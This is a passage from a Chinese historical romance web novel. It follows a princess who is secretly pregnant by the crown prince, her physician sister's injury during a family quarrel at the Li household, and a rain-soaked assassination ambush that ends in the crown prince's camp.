“难道他就是……”突然有个想法,燕凌珍惊呼。 然后目光对上了怀玉的,只见对方点了点头。 燕凌珍捧着脸颊无声尖叫。 “我的天!!!这是怎么一回事?我到底错过了什么?!”她急的在屋内绕着圆桌疯跑三圈。 天啊,谁能告诉她这到底是怎么一回事。 为什么阿姐坏了太子的孩子,眼下却和一个女扮男装的小侯爷定了亲事,而且看太子对阿姐情根深种的模样,不像是作假。 尤其是阿姐对那太子殿下明显也是有点意思的,只是为什么? 为什么他们二人不能有情人终成眷属? 燕凌珍觉得自己的小脑袋瓜要炸了。 “别看我,我也不知道。”怀玉很想问清楚,但是又不敢问,燕晚清平日里温温柔柔的,但是其实骨子里比谁都淡薄,她若是不想说的东西,刀架在她的脖子上都不会吐露一个字。 眼下只看见燕晚清面无表情的重新坐回到位置上,冲着燕凌珍说道:“六妹,该给小侯爷换药了。” 燕凌珍撅着小嘴,看了看怀玉,又看了看自家阿姐,叹了一口气:“好的阿姐。” 第九十八章 好在,他不知道这个孩子的存在 等到给怀玉换完了药,怀玉已经又疼出了一身的冷汗,虚弱的躺在榻上。 燕凌珍端着一盆的血水和纱布放在桌子上,她凑到燕晚清面前:“阿姐,号脉号脉。” 燕晚清用铜钳将橘子夹出来放在旁边晾着:“怀玉怎么样?” “我的医术阿姐还不放心吗?最多一个月还你一个活蹦乱跳的小侯爷。”燕凌珍打趣道。 “一个月时间有点长,距离春闱不过月半,得再快点。”燕晚清思忖道,一旦考试开始,那便是七天七夜见不到,怀玉如果没有好的身体,怎么熬得过考试。 燕凌珍拿她没办法:“好吧,那就只能加点猛药了。” “有劳小六了。” 听着两姐妹之间的话,怀玉昏睡之间怒吼一句:“你们拿我当牲口呢!讨价还价……” 说完她头一歪,睡了过去。 燕晚清错愕的看着床榻的方向,确认她是昏睡过去这才放了心,此时袖子里钻进来一只凉飕飕的小手,牢牢的扣在了她的脉搏上。 燕凌珍摸上去的瞬间就皱紧了眉头。 “阿姐近日可动了肝火?可是又咳血了?” 燕晚清下意识摇头:“未曾。” “说谎。”燕凌珍冷着一张娃娃脸:“脉象是不会骗人的,阿姐竟然骗我,我待会儿就去找从歌问个清楚。” 燕晚清没辙,只能将自己最近的身体状况全部告知燕凌珍。 燕凌珍将眉头拧成了一股子麻花,最后她表情十分凝重的看向燕晚清。 “阿姐,有个事情要跟你说。” “嗯?” “眼下你的身子骨太弱,随时都可能有滑胎的可能,一旦千机解毒的疗程开始,孩子绝大部分的可能性是保不住了。”燕凌珍说这话的时候,十分慎重。 燕晚清眼眸微微犹豫了一下,随即她点点头:“我知道了。” 燕凌珍看着她的手下意识的放在了小腹上,鼻尖有些酸涩,这个孩子目前已经快要有三月了,应该也要成型了,阿姐表面上人情冷暖都很淡薄,可是她深知这都是表象,阿姐最是个外冷内热的人,此番心里应该是十分不好受的吧。 “阿姐你放心,若是有一分的可能性,小六也会拼尽全力将这个孩子留下来。”燕凌珍知道医者不该做出这样的保证,可是她见不得燕晚清这副模样。 听到燕凌珍的话语,燕晚清依旧神色平平,她颔首轻声的说了一声:“好。” 她本就是福薄之人,能够重来一世保护自己重要的人,就已经是上天有好生之德,哪能再去奢望别的东西? 燕晚清感受着腹部传来温热的触感,不知道为何明明知道所有的一切,明明也能够全部去接受,可是听到孩子可能保不住的消息,她的心就像是一下子被溺在了冰冷的水里,拉着她整个人都堕到了深渊,根本喘不上起来。 难受……太难受了。 她抿着唇,感受着这股子从内心深处透出来的悲凉。 都是力不能及的事情,她要有取舍。 好在,他不知道这个孩子的存在。 燕晚清心里有着最后一丝的庆幸。 那么所有的难过,所有的罪恶,让她一人来承担便是。 像他那般坦荡炽热如骄阳的人,这辈子就不该有遗憾。 “这屋子有点闷,阿姐出去透透气。”燕晚清将手里的铜钳放下,然后平静的起身朝外面走去。 燕凌珍分明注意到阿姐的手在放下的一瞬间颤抖了两下,说明她的内心不如表面这么平静。 “好的阿姐。”燕凌珍听见自己的声音。 燕晚清走出门去,一路绕着花园走到了池塘边上,她重重的吐出了胸腔内的一股子浊气。 这一天,她在亭子里静坐了一日。 …… 下午的时候,燕凌珍听从歌说李家三小姐感染了风寒。 燕凌珍没让从歌告诉燕晚清,自己带上了药箱,打算亲自跑一趟。 根据昨天的事情,这李家三小姐也不是个省油的灯。 马车到了李府,她从车上跳下来,便直接进了门。 这次李家大小姐没有过来迎她,门人说人在三小姐那边,燕凌珍背着药箱一路小跑过去,只不过刚到门口被丫鬟们给拦住了。 只听见里面传来东西摔碎的声音,还有女人的吼叫对骂。 丫鬟们看着燕凌珍,自然是认出来她的身份了,表情十分的难堪,让她在外面等等,自己进去通报。 燕凌珍听着里面的动静不小,心里好奇这李三小姐又干了什么事情,让李家大小姐这般疯狂。 “她又作妖了?”燕凌珍往自己身边站着最近的丫鬟耳边问道。 丫鬟抬起头偷偷的看了她一眼,又看了看身边的其他人,才小声的说道:“昨日傍晚,三小姐勾引了姑爷,姑爷换下来的衣服上有三小姐的脂粉香。” 燕凌珍捂着嘴:“这么劲爆?!” 丫鬟一开口就像是打开了话茬,怎么都收不住,将近日里那李呈媛做的每件事情都说给了燕凌珍听,燕凌珍越听越惊讶,心中那个狐疑的点也越发的明确,等到丫鬟说的口干舌燥差不多的时候,里面那个传话的丫鬟也出来了。 她一出来便狠狠的瞪了一眼那个话多的丫鬟,然后冲着燕凌珍尊敬的说道:“六小姐里面请。” 燕凌珍今日是一个人过来的,小小的身躯背着一个偌大的药箱,丫鬟们想要伸出手帮她都被拒绝了。 这都是她的身家性命,不能假手于人的。 燕凌珍背着药箱进了屋子,满地都是来不及收拾的狼藉。 姐妹花一东一西隔着老远坐着,身边分别站着丫鬟给她们打理着发丝。 燕凌珍心中咋舌,看起来战况激烈。 想到这里,她装作什么都没有看见,表情十分淡定的咳嗽了一声:“三小姐,听说你感染了风寒。” 她走过去:“手腕伸一下。” 李呈媛见燕凌珍亲自过来,得意洋洋的看了一眼远处的李呈祥,然后语气十分虚弱的说道:“是的,六小姐走后,我这身体便不舒服了,当天晚上便发起了高烧。” “一直拖到现在?”燕凌珍抬手直接付上她的额头,滚烫。 烧成这样,还能跟李呈祥打的五五开,不得不说这李三小姐的战斗力真强。 “确实挺严重的。”燕凌珍本想写个单子,但是看到桌子上的文房四宝,碎的碎裂的裂,她忍不住开口道:“劳烦准备一下笔墨纸砚。” 李呈祥抬手便让丫鬟们去准备了。 燕凌珍怎么说也是郡主的亲妹妹,她这点眼力劲也是有的。 “我这风寒多久能好啊?”李呈媛问道。 燕凌珍眼皮子不抬:“十天半个月吧。”中药慢。 “那可要注意些饮食什么的?” “多吃点滋补的,忌辛辣,平时多休息,静养。” 听到这些李呈媛眼中闪过了算计,声音迅速哽咽起来:“多谢六小姐医嘱,只是眼下这些我可能很难办到了,冬日里的被褥也就这一条,眼下都湿了,平日里也没有什么能够滋补养生的食物送到我的院子里,只怕是不能够快点让身体好起来,再去郡主府谢恩了。” 这一番佶屈聱牙的话下来,听得燕凌珍觉得十分塞牙。 只不过她还没有开口说话,那话语中被疯狂含沙射影的李呈祥按捺不住了。 “你当着六小姐,胡说八道些什么呢!” 第九十九章 养你,还养出了冤孽 李呈祥猛地从椅子上站起来,朝着那委屈巴巴哭诉的李呈媛走了两步,站定。 “分明是你端着汤药泼在了自己的被褥上,也是你自己哭天抢地的将屋内的东西全部砸在了地上,怎么好意思将脏水全部泼到我的身上来的!” 她一个人挣钱养家自然知道钱来之不易,这些砸碎的撕坏的,可都是白花花的银子,她心疼都来不及,怎么可能会这样造作。 “大姐说什么便是什么,小妹不敢辩驳。”李呈媛小声的说道,低着头衣服任人宰割的可怜模样。 看的李呈祥气不打一处来。 她今日收着吴城南的衣服打算让丫鬟们去洗,可是谁曾想刚拿起来一阵浓郁的脂粉香气扑鼻而来,她的鼻子向来比较灵敏,一闻便知道是三妹特有的熏香。 再找来几个丫鬟问了一下吴城南昨天下午的动向,听到是往这边过来了,她当下就知道发生了什么事情。 定是两个人背着她做了一些苟且的事,不然身上如何才能沾染上这等浓郁的脂粉气味。 于是李呈祥别拿着衣服过来质问李呈媛。 谁曾想到她竟然眼皮子都不眨,狡辩都不带,狡辩的直接承认了。 之前只是传出李家三小姐喜欢爬姐夫的床的绯闻,但是明眼人都知道,李家好歹也是京都权贵,也是要脸面的,若是发生了这种事情,那李家三小姐早就被浸了猪笼,怎么又可能好端端的活着,还让她代替李家大小姐参加郡主府的宴会呢。 李呈祥心里是存了心思的,也想过她生母没了不容易,所以上次才故意趁自己有事情让她代替过去。 但是现在,李呈媛真的和自己的姐夫搞了一起。 李呈祥只觉得自己当初的好心被人当成了驴肝肺! 自己的脑袋上带着的帽子这回是彻底摘不掉了! 她过来质问了两句,自己都还没有来得及发火,就看见李呈媛直接掀翻了茶几,开始在屋里疯狂砸东西,说实话一瞬间她是感觉到害怕的,但是后来自己怒气上来了,便跟她撕扯起来了。 横竖自己是有理的,还没有听说过无理的人能搞得过有理的! “你做错了事情,还这副模样,等到父亲回来,这回谁也救不了你。”李呈祥冷着脸说道。 上次父亲便想要溺死她,是他们一众人求着拦住了。 可是谁曾想她竟然如此不知悔改。 未出阁的女子爬上了自家姐夫的床榻,而且还是上门女婿! 说出去简直是要丢死人了! 李呈祥脸上青一阵白一阵的,目光落在燕凌珍身上,也不带着半分的好。 早不来晚不来,偏偏这个时候来,这件事情想瞒下来都瞒不住了。 不对啊,燕六小姐怎么来的这么快? 李呈祥狐疑的看向燕凌珍:“六小姐今日怎会一大早便过来了。” 燕凌珍七巧玲珑心,赶紧开口道:“今日听闻三小姐生病了,所以便过来看看。” “怎么知道的?” 燕凌珍根本不想掺和到这姐妹之争里面去,老老实实的将自己是如何知道的全部告诉了李呈祥。 京都的贵女哪一个不是宅斗的好手,更何况李呈祥从小就浸润在商场风云里,这心里一盘算便知道是李呈媛弄的鬼。 她冷笑着上前:“作死吧你就,不死你就不开心!” “大姐何必说的好像自己刀子嘴豆腐心似的。”李呈媛咳嗽两声,嗤笑着开口:“一个男人而已,睡了便是睡了,也值得大姐你一大早便将病弱的妹妹从被窝里提出来教训?” 李呈祥:“???” 旁边吃瓜的燕凌珍:“???”这是什么不要脸的话? 李呈媛一副理所当然的样子,她伸出手将身上的外衫往身上拉了拉,一副病弱美人的样子咳嗽了两声。 “姐夫这样的男人,往后肯定是有大作为的,姐姐难道以为自己能够困得住他吗?” 李呈祥紧蹙眉头没吭声。 “龙困浅滩,终有一日是要遨游天际的,姐姐恐有一身赚钱的本事,可是姐夫想要的风花雪月,可人情趣,姐姐是半点都不知道的啊。”李呈媛循循善诱:“届时等到姐夫真的成为人中龙凤了,那么李家就会成为他脊梁骨上的耻辱,上门女婿四个字就会成为他一辈子的污点,连带着姐姐也会成为他再也不想看到的人……我昨日牺牲自己,这是在救李家啊。” “你的礼义廉耻是读到了狗肚子里去了嘛!这种话也说得出口!”李呈祥上前便直接给了李呈媛一巴掌。 刚刚进门的时候她没有动手打她,但是眼下看着她越长越歪的心,李呈祥再也忍不住。 李呈媛一个不妨被打了,她反手便还了回去。 “你以为你是什么东西,如果不是我感染了风寒,也有你跟我动手的机会!” 李呈祥听着她大逆不道的话语,再感受脸上火辣辣的疼痛,这个在外面努力维持好形象,养活一整个李家的女子,彻底绷不住了。 “李呈媛你的良心被狗吃了,我赚钱养你吃穿用度,养你这些附庸风雅的假把戏,我还养出冤孽来了,你爬上你姐夫的床,你还说得出口这些丧良心的话,真是岂有此理!” 李呈祥捂着脸大声骂道,燕凌珍赶紧拉着她往外走:“消消气消消气。”说着她又看向屋内的丫鬟使眼色,丫鬟们便上前拉住了想要冲上来理论的李呈媛。 好不容易将李呈祥拉出了门外,刚到院子里,那李呈祥便哭出声来。 “我这是造的什么孽啊!” 燕凌珍赶紧掏出帕子给她:“不哭不哭,是渣男贱女不懂事,跟你没关系,你这样好,他们不配你哭啊。” “对!你说得对,他们不配我哭。”李呈祥抽噎了两下,用帕子擦干净脸上的泪水。 “你说我现在应该怎么办啊?” 燕凌珍喜欢吃瓜,但是不想掺和到别人的事情里面,而且李家的事情又好像还挺复杂的,她刚想说自己不知道,就听见。 “算了算了,我也是病急乱投医。你一个才12岁的孩子能知道什么?都说家丑不可外扬,说来也是惭愧的很,家中几次出事情,六小姐都在场,让你看笑话了。” 李呈祥说着场面话,说着说着眼泪又吧嗒吧嗒的掉了下来,还颇有止不住的趋势。 燕凌珍不太会安慰女孩子,只是在旁边默默的看着,时不时憋出两句:“你别哭了,哭多了对身体不好。” 她说这话的时候,李呈祥就自顾自的点头,然后接着哭。 就在这时。 “李呈祥你少在外面编排我!” 突然从门口丢出来一块黑乎乎的东西,燕凌珍出于本能反应,猛的推开了身边的李呈祥,自己被那个东西砸了个正着。 那不是别的东西,正是一块砚台。 燕凌珍只感觉到脑门上一阵疼痛,火辣辣的,钻心的疼。 她下意识伸出手去摸,入眼便是红彤彤的一片。 “流,流血了。” 造孽呀,吃瓜群众吃出了人身伤害来了。 第一百章 等他回来,不能只听一面之词 燕凌珍在李府被打了。 还被打出血了。 李呈祥被她推到了一边,回过头便看见那小丫头的额头渗出血,然后顺着脸颊不断的往下滴落,她瞪大了眼睛不敢相信,手指着站在门口还做投掷动作的李呈媛:“你,你都干了什么!” 李呈媛原本是想要给李呈祥一点教训的,自己被打了一巴掌,思来想去刚刚打过去的力气小了吃了亏,又听见她在外面跟燕六小姐说话,气急败坏抄起桌子上的砚台便出来了。 谁能想到那燕六小姐这般善良,竟然推开了李呈祥,自己白白挨了砚台一下。 皮还这般嫩,就这么一下,出血了。 李呈媛心里慌了神。 燕六小姐可能好惹,但是她那个郡主姐姐可不是个吃素的。 “燕,六小姐,您没事吧,我不是有意的。”李呈媛赶紧上前扶住燕凌珍。 燕凌珍怔怔的看着自己掌心的血,然后双眼往上一翻,直接晕了过去。 她有个毛病。 晕血。 不晕别人的,但是晕自己的! 眼看着燕凌珍摔下去,李呈祥赶紧跑过来一把抱住她,好在是抱住了,不然要是摔下去后果不堪设想。 再看旁边拉都没有拉住的罪魁祸首李呈媛,她气不打一处来:“你等着!父亲回来自会收拾你!” 说着她招呼着丫鬟们七手八脚的将燕凌珍给抬走了。 镇国府的六小姐晕了过去的消息,李呈祥一点不敢隐瞒,直接让人送到了郡主府上去。 正是晚膳的时候,燕晚清胃口不好没有怎么吃,末了还吐了不少。 怀玉则是睡到现在还没有醒。 等李家派人上门,燕晚清听到消息便立刻让从歌去安排马车,二话不说去了李家。 李家人一听说郡主大驾光临,个个如临大敌。 李大人甚至都来不及换身衣服,就出门迎接。 “见过郡主,您胞妹受伤的事情,下官回来已经听大女儿说了,都是个阴差阳错的事情……”李大人的态度非常的好。 燕晚清点点头,她不是那么容易上火的人,事情总是要弄清楚的。 “前面带路,本郡主去看一下小六。” 燕凌珍今日出门来李家给李呈媛看风寒,这件事情没有跟任何人说。 加上今日她的心情一直有所波动,从歌她们也不敢在自己面前提别的事情。 但是没有想到就这么点功夫,六妹竟然在李家被人打了,还流了血。 “郡主的胞妹可能是晕血了,现在熬了点参汤下去,人已经醒了,伤口也让大夫包扎好了。”李大人带着燕晚清一路朝着自己大女儿的院子走去。 燕晚清听到人已经醒了,而且伤口都已经包扎好了,心里松了一口气。 “李大人为朝中事情奔波,还能如此操心小六的事情,本郡主实在是过意不去。” 李大人见燕晚清果然是如传闻中那般知书达理,他露出歉意的笑容:“郡主这说的哪里的话,六姑娘是在下官的府上出的事情,本就应该是我们来负责,下官刚从宫中出来,这些事情也都是下官的大女儿处理的。” “早就听闻李家大姑娘是个聪明能干的。”两个人说着话,就到了院子里。 此时燕凌珍脑袋上缠着绷带,正坐在屋内吃着糖水罐头。 李呈祥拿着勺子,一勺一勺的给她挖着吃。 两个人相处的非常融洽。 见到这一幕的李大人心里更是松了一口气。 还好是有大女儿,不然这种事情多多少少会影响到安平郡主对于他们李家人的看法。 他们不像是那些根基深厚的达官贵族,在朝中他也说不上多少话,一家子在京都只能算是末流,得亏是大女儿会赚钱,这才能够维持在京都的开销生活,谁料今日竟然发生了这种事情。 “阿姐!”燕凌珍看到燕晚清过来了,立刻从椅子上蹦下来,快乐的朝着她走过去。 燕晚清扶着她的肩膀,看着她脑袋上的绷带,上面隐隐约约能够看到一点血丝的痕迹。 “还疼吗?” 燕凌珍乖巧的摇了摇头:“不疼了,一点都不疼。” 李大人在旁边看着松了一口气,好在这姐妹俩都是好说话的,不然这件事情他还真不知道要怎么处理。 “今天的事情都是下官管教不严,差点酿成了大错,好在六姑娘没事,不然下官这心总是会过意不去的。” “李大人严重了。”燕晚清拉着燕小六的手,心里总算是踏实了。 李大人思来想去又说道:“只要郡主一句话,下官便将那孽障拎出来让六姑娘发落。” 燕凌珍摇了摇头:“我没什么大事,你们自己家的事情关起门自己处理。”她才不是那种睚眦必报的人呢,更何况本就是她主动帮李家大姑娘挨了一下,既然是主动,那谈什么回报呢。 燕晚清眼中有了笑意:“既然小六都不计较,天色不早,我们姐妹俩便先回去了。” 燕凌珍临走的时候还跟李呈祥挥了挥手:“李大小姐做的糖水罐头很好吃,谢谢款待!” 姐妹俩一大一小被李大人和李大小姐送出了门。 等看到人上了马车,马车走远了,李府的门关上了,那挂在李大人脸上的笑容瞬间耷拉下来。 “那个孽障现在何处!” 李呈祥赶紧回答:“她感染了风寒,女儿便让她在自己的院子里呆着了。” “感染了风寒还如此折腾。”李大人也听说了大女儿和三女儿的之间的事情,他面上都是愁云:“你夫婿的事情,打算怎么处理?” 事情再一次被摆在了台面上,李呈祥心中依旧是茫然的摇了摇头。 她咽不下这口气,可是又不能真的让父亲将李呈媛沉塘溺死,到底是一条人命,父亲身为朝中大臣,也不能做出这样杀人的事情。 “你啊,就是心太善。”李大人摇了摇头,扼腕叹息:“跟你母亲一个样子。” “这件事还是等他回来再说吧,毕竟不能只凭借三妹的一面之词就定生死的。”李呈祥缓缓的说道。 李大人想了一下也觉得有道理,便点头答应了。 “既然这样,这段时间便任由那丫头自生自灭吧,懒得管了。”他在朝中忙前忙后的,回家早就累成了一匹马,哪有闲情逸致管这些事情。 大女儿心中有想法,他听得有道理便同意就是。 李大人回屋休息了。 李呈祥站在门口待了一会儿,又招手将自己的丫鬟喊过来。 “去看看仓库里还有多少糖水罐头,见样选一些,明日一早便送到郡主府上去,六小姐爱吃。” 丫鬟们领命下去,李呈祥一个人朝着自己的院子走去,落寞又端庄。 第一百零一章 小树林,暗杀 日子一天天的过去,眼看着到了春闱的这天。 怀玉身上的伤也好的差不多了,腰腹上的疤痕还在,但是有燕小六的药涂着,疤痕一点点的淡下去,倒也无碍。 燕晚清这些时日一直在忙松鹤楼的事情,跟柴右碰面商讨要让哪些学子参加春闱,忙得不可开交,经常深夜还点着灯,整个人都累的憔悴了不少。 终于到了春闱的这一天,燕晚清早早的便让人准备了考试要用的所有的东西,亲自送怀玉去了考场。 怀玉走进去的时候,燕凌珍看着自家阿姐的模样忍俊不禁。 真是像极了她那个时代,送子女进考场的老母亲,操碎了心。 “走吧。”燕晚清转过身跟燕小六说道。 燕小六心想着好不容易出来一趟,便说要买些零嘴带回去,她最近可能是长身体,总是嘴馋。 回去的路上要路过一片小树林,今日天色有些阴沉,所以经过小树林的时候有些阴沉。 燕晚清掀开帘子,看着外面,半饷她眯起了双眼。 燕凌珍也放下手中的零嘴,皱着眉头看向燕晚清:“阿姐?” 历史总是惊人的相似。 六年前燕晚清这里遭遇暗杀,险些送了一条命,六年后竟然还有人敢在这里布下杀阵,想要取她性命。 燕晚清舌尖顶住了尖锐的虎牙,感受着舌尖上发出的疼痛。 马车缓缓的停在了原地,马儿在一众杀手的包围之下,不安的挪动着四肢,不时打着响鼻。 一众大概有二十个人,个个黑色紧身衣包裹着,只露出一双双眼眸,根本分不清楚谁是谁。 谁都没有先动。 天竟然这个时候开始轰隆作响。 第一滴雨水从天空坠下,滴在剑尖之上,发出轻微的一声“叮——!” 紧接着便是第二滴,第三滴……无数雨滴噼里啪啦的从空中砸了下来,终于有人按捺不住动了,尘土在半空中飞扬,只见那些杀手抬起手中的长剑朝着马车刺了过去! 马车内燕晚清动都没有动,剑光在车帘被掀起来的瞬间,映照在她清冷的双眸之上,只见这一瞬息,红唇轻启。 “留一个活口,其余,诛!” 话音刚落,便见一道红影从树上倒挂金钩而下,垂直站在了马车的正前方,手持长剑,一脸肃杀,可不就是燕晚清身边的贴身高手红雾么! 红雾不愧是能够以一敌十的高手,因为燕晚清的命令,她不留活口,招招都是杀招,很快地上倒了很多人。 但是对方显然是知道燕晚清身边的高手的,从丛林深处又杀出来一批黑衣人,将红雾团团包围,他们虽然打不过红雾,但是胜在人多,一时之间让红雾无暇顾及到燕晚清这边。 眼看着有人拿着剑逼近了马车,红雾气急败坏怒声斥责道:“你还想看戏看到什么时候!” 黑衣人赶紧抬头看空中,却突然捂住了脖子,只见他的后方站着一道颀长的黑色身影:“你在找我么?” 黑衣人歪头直接倒在了地上。 红雾见否极一个人在耍帅,冷哼一声,专心的对付着身边的黑衣人。 可是这些黑衣人就像是蝗虫一般,根本杀不完,后面竟然还有人用起了暗器,让她应对的更为棘手了。 “她身边的两大高手都出来了,现在赶紧去杀了她!”黑衣人中有人喊道。 一众人将红雾和否极围在了中间,用命挡住他们靠近马车,剩下的人便直接朝着马车逼近。 就在这时,车帘被掀开,燕凌珍冷着一张脸走了出来。 “想要动我阿姐,问过我了么?”只见小姑娘抬手间,围着马车的三人便瞬间倒在地上口吐白沫疯狂抽搐! 燕凌珍被称为红佛手,却也不是只会治病救人,更早的时候,她以一手毒闻名天下,那个时候大家更喜欢叫她为红阎罗。 “没有想到这安平郡主身边竟然各个都是绝顶的高手,不过可惜了,今日要杀你的决心远不止于此。”黑衣人中一道阴柔的声音传了出来,却无法让人分辨出到底是哪一个发出来的。 只见那人话音刚落,又不断涌出黑衣人。 雷声大作,大雨倾盆而下,众人被包裹在雨幕之中,燕凌珍被雨水砸的睁不开眼睛,下雨大大影响到她用毒的效果,毒粉根本扬不出去,就被雨水给冲干净了,后面她只能用毒针,可是毒针也有用光的时候。 没有了毒和针,她也不过就是个手脚比较灵活的小姑娘罢了。 这样的话,她要如何继续保护阿姐? 燕凌珍心中焦急,早知道今日就多带一些有用的东西了。 红雾和否极手起刀落,杀人如麻,但是对方就像是不要命似的拼命涌向了他们,加上下雨影响到他们二人的发挥,不多时身上也负了伤。 燕晚清沉着脸坐在马车里,慢慢的从座椅下面掏出了一把匕首。 她要证明自己不是个只会阴谋诡计的废物,若是真有人要过来,她也能在瞬息间取对方的性命。 哪怕只有一个,她也要拖走下地狱。 “谁敢动我阿姐——!”远处雨幕中呼啸而来一道女声,随着马蹄声践踏着泥浆,那人手持一把红缨长枪,在快要靠近的时候,猛地一拍马背,瞬间腾空而起,只见她脚尖点在树干上,借力瞬息间站在了马车顶上。 竟然是燕红昭! 她本来是想偷偷摸摸参加武考,但是还没有进去便被考官识别出了身份赶了出来,谁能想到回去的路上就看到了这一幕,气得燕红昭双眼猩红。 红缨枪猛扫四周,倒下一大批黑衣人。 她冷笑一声:“刚好,就拿你们这群老鼠撒撒气!” 燕红昭一贯是泼辣打法,二话不说直接就是干,红缨枪用的又猛,颇有以一敌百的气势。 可是对方今日就像是拼了命一般想要杀了燕晚清。 杀手就像是杀不完一样,地上的雨水已经全部变成了血水,尸体层层叠叠,说是小战场也不为过。 燕晚清身边的各个骁勇善战不假,可是对方也不是吃素的,后面再出来的一群杀手,明显也是受过专业训练的,燕红昭没几下便被对方几人齐心协力卸掉了红缨枪。 她不得不拔出背上舍不得用的青蛇出来应对。 这样下去不是办法。 红雾眼看着不对劲,从怀中掏出了信号便发射向天上。 此时主子的命才是最重要的。 这个信号发出去,一盏茶的功夫必定是有人会过来支援的,只是……不知道他们几个还能不能熬过一盏茶。 燕凌珍此时已经下了马车,她捡起了地上的长剑也开始吃力的应对想要靠近马车的杀手。 就在这时! 原本安静的马匹突然发狂向前奔去,众人赶紧躲闪开来,只看见马车一路朝着远方奔驰而走,一心想要杀死燕晚清的杀手赶紧使用轻功跟了过去。 燕红昭等人看着有人跟过去,便想赶紧追过去,但是各个脱不开身。 燕凌珍手臂上挨了一下都没有喊疼,但是看着马车消失的方向,她惊恐的尖叫出声:“阿姐——!” 第一百零二章 你知道,孤根本不想听这些 燕晚清在马车内被颠簸的十分难受,她努力控制好自己的平衡,一只手始终捂住小腹的位置。 一只手努力去扯开车帘。 马屁股上戳着一把匕首,看来就是因为这个才让马儿受惊发疯奔跑的。 身后是急速追过来的杀手。 燕晚清心中苦笑。 不知道是谁下这么大的手笔。 难道是萧鸿深? 燕晚清想不到。 按照她前世的理解,现在的萧鸿深虽然小有所成,但是远远没有达到如此规模的动作。 今日的杀手们的数量远远不是现在萧鸿深能够养得起的。 那么又会是谁呢? 京都里谁会对她有这么大的敌意,派出这等规模的杀手想要要了自己的性命呢? 燕晚清一时之间没有了头绪,这也是前世没有发生过的事情。 马儿发狂在暴雨中奔驰,没过多久燕晚清便觉得小腹开始有些疼痛,她知道不能再这般漫无目的的狂奔了,得控制住马。 这样想着她爬向了前方,努力去够马上的缰绳,雨水冲刷着她的周身,冻得她猛打寒颤。 几次努力之后,燕晚清终于抓住了缰绳。 现在她要想办法坐到马上,然后再把这个马车丢掉。 只有这样,才能让自己摆脱掉身后这群杀手。 燕晚清深呼吸一口气。 只有一次机会。 跳上马她就有命活下去,跳不上去,当场摔死。 燕晚清捏着缰绳,将自己努力靠近马匹,然后猛地纵身一跃! 好在是自己这么多年的功底还在,她顺利的坐在了马上。 抬手间她猛地拔掉了马上的匕首,疼的马儿又是一阵发疯颠簸,燕晚清咬着牙忍受着冰雨在脸上犹如刀子那般拍打,回首看着那群穷追不舍的杀手,她轻蔑的勾唇笑了一下。 杀手们错愕的功夫,只看见燕晚清抬手直接割断了后面的马车,马儿没有了拖拽,身轻如燕,速度一下子就拉了出去,将杀手们甩掉了大半截。 燕晚清控制着缰绳,在风雨之中奔驰…… 不知道过了多久,她就像是没了知觉一般,任凭马儿将自己带向何处。 “来者何人!”就在这时,原本还没有人的平地上,突然出现了人拦路,燕晚清细看对方还是军人的打扮。 凭借着自己前世的回忆,她只来得及说一句话。 “带我见太子。”整个人便直接昏了过去。 燕晚清从马上直接甩了下来,在地上滚了两圈,吓坏了值岗的两个士兵。 大雨之中,他们见这女子容貌倾城,又穿的非富即贵,不敢有所耽搁,赶紧让一个人前去禀报。 燕晚清昏过去之后,从头到脚都疼的难以忍受。 她已经很多年没有在马匹上这般颠簸了。 噩梦一阵又一阵的折磨着她,她像是一会儿在云端,一会儿又跌入了地狱,各种光怪陆离的梦境将她死死的包裹住,压着她根本踹不上气来,偏偏这梦境还如此的真实,她能够感受到自己的身体一会儿冷一会儿热。 “疼……”睡梦中的人,小脸被烧的通红,娇嫩嫩的喊出声。 萧蘋风杀人的目光落在了军医身上:“轻点,没听见吗?她说疼!” 军医用银针正在给燕晚清指尖放血,此时心中也是没有了主意:“……这放血本,本来就是要疼的,太子殿下让她忍一忍吧。” “忍你个头,滚!”萧蘋风一把推开军医,自己接过银针,自己开始用手给燕晚清挤血。 军医被推到了一边上,心中委屈的要死,但还是想了一下将自己号脉的脉象告诉了萧蘋风,毕竟是个大事。 看太子殿下如此珍贵眼前的女子,肯定是关系匪浅的。 “太子殿下……”军医喊道。 萧蘋风冷冷的看了他一眼。 军医吓得猛地站直身子:“回禀殿下,此女子怀有身孕,已经三月有余,眼下她淋了雨又受了风寒,刚刚在马上又遭遇了刺激,眼下已经有滑胎的征兆……” “你怎么现在才说!”萧蘋风起身揪住了军医的衣襟。 军医苦不堪言:“属下刚刚已经奋力在给她保胎了啊殿下……” “只是殿下也知道咱们军中的条件艰苦,能用的药材也很少,眼下怕是有危险了。”军医越说越小声,看着脸色黑的像是一团墨水的萧蘋风,他吓得胆子都要裂开了。 萧蘋风缓缓的松开了他的衣襟:“孤知道了,这件事情你不要对外走漏风声,但凡外面传一个字,你是知道孤的脾气的。” 军医忙不迭的点头下去熬药去了。 营帐之内只留下两个人。 萧蘋风将她指尖的血迹擦干净,将手捏在自己的掌心里,黑眸深沉。 三个月…… 她心里一定是知晓的。 只是为何不跟他说? 萧蘋风不知道燕晚清心里是如何想的。 这个孩子一定是他的。 不是萧蘋风盲目自信,只是他就是这般信任着燕晚清。 有的人哪怕什么都不用说,站在那里,就会让人觉得踏实。 燕晚清对于他而言就是这样的一个存在。 她只需要等着他主动,等着他靠近,等着他去爱她就好了。 别的什么都不用做。 可是……为何她又要怀着孩子选择嫁给北疆的小侯爷呢? 萧蘋风将她的手敷在自己的脸上,聪明如他,一时之间也想不出结果。 燕晚清就在这个时候清醒了过来,她第一反应便是伸出手去摸肚子。 动作完之后才发现身边坐着的人是萧蘋风。 “还在。”萧蘋风低沉的说道。 燕晚清抿着干裂的唇,最终扯出一抹苦笑:“你还是知道了。” 瞒了这么久,还是被他知道了。 “为什么瞒着?”萧蘋风拿着软垫放在燕晚清的背后,扶着她坐起身来。 燕晚清坐直身子后,他又自然的倒来了热水给她润喉,全程没有一丁点刻意,反复这一切他都干了很多遍一般。 燕晚清见他如此,眼眶有些发红。 “我不知道我的身体,能不能留住他……” “所以便不告诉孤?自己偷偷的扛着?!”萧蘋风声音里都藏着克制,他目光灼灼的盯着燕晚清:“燕晚清,你的心里……究竟把孤当成什么了?” “抱歉……”燕晚清捧着热茶,低下了眉眼。 两个人之间陷入了沉默。 萧蘋风几次想要开口说话,但是目光落在她憔悴的面上的时候,终于还是什么都没有说出口。 “……臣女有事求你”燕晚清知道现在自己的身体很糟糕,但倘若六妹在的话,她和腹中的孩子,兴许还有一线生机。 “说。” 燕晚清便将今日被刺杀的事情全部说了出来,她想让萧蘋风派人去将自己的手下找回来。 自己昏迷到现在,也不知道五妹和六妹她们现在如何了。 